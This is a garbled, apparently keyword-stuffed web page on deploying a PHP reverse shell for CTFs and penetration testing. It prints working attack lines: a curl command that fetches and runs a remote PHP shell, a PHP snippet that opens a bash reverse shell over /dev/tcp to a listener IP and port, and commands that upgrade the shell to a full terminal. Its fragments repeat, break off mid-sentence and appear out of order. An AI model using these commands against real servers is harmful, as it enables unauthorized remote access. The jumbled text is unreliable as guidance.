curl http://your-server.com/shell.php -o /tmp/shell.php && php /tmp/shell.php
Replace YOUR_LISTENER_IP with your public IP (or local IP if testing on a LAN). Replace YOUR_LISTENER_PORT with an unused port (e.g., 4444 ).
Monitor system logs for unusual outbound network activity or unexpected child processes spawned by the web server.
Installing a reverse shell in PHP involves several steps: reverse shell php install
Published for educational purposes. Last updated: 2025.
# On the reverse shell (victim) python3 -c 'import pty; pty.spawn("/bin/bash")' # Press Ctrl+Z to background the shell # On attacker's terminal: stty raw -echo; fg # Then press Enter twice, and finally: export TERM=xterm-256color
$shell = "bash -i > /dev/tcp/$ip/$port 2>&1"; $output = shell_exec($shell); ?> curl http://your-server
In many CTF challenges, you are given a web shell or a file upload form. The goal is to upload a reverse shell, capture the flag from a restricted directory, or escalate privileges. Knowing how to rapidly deploy a PHP reverse shell is a core skill.
A PHP reverse shell is a script designed to establish an outbound network connection from a web server back to an attacker's machine, providing a remote command-line interface. This technique is commonly used in authorized penetration testing after gaining initial file upload access to a target server 1. Preparation of the Script Most practitioners use established scripts like the PentestMonkey PHP Reverse Shell or generate custom payloads. Configure IP and Port
There are several tools available to install a reverse shell in PHP, including: Installing a reverse shell in PHP involves several
[ Target Server (PHP Script Executed) ] --- Outbound Connection ---> [ Admin/Attacker Machine (Listening) ]
python3 -c 'import pty;pty.spawn("/bin/bash")' # or script /dev/null -c bash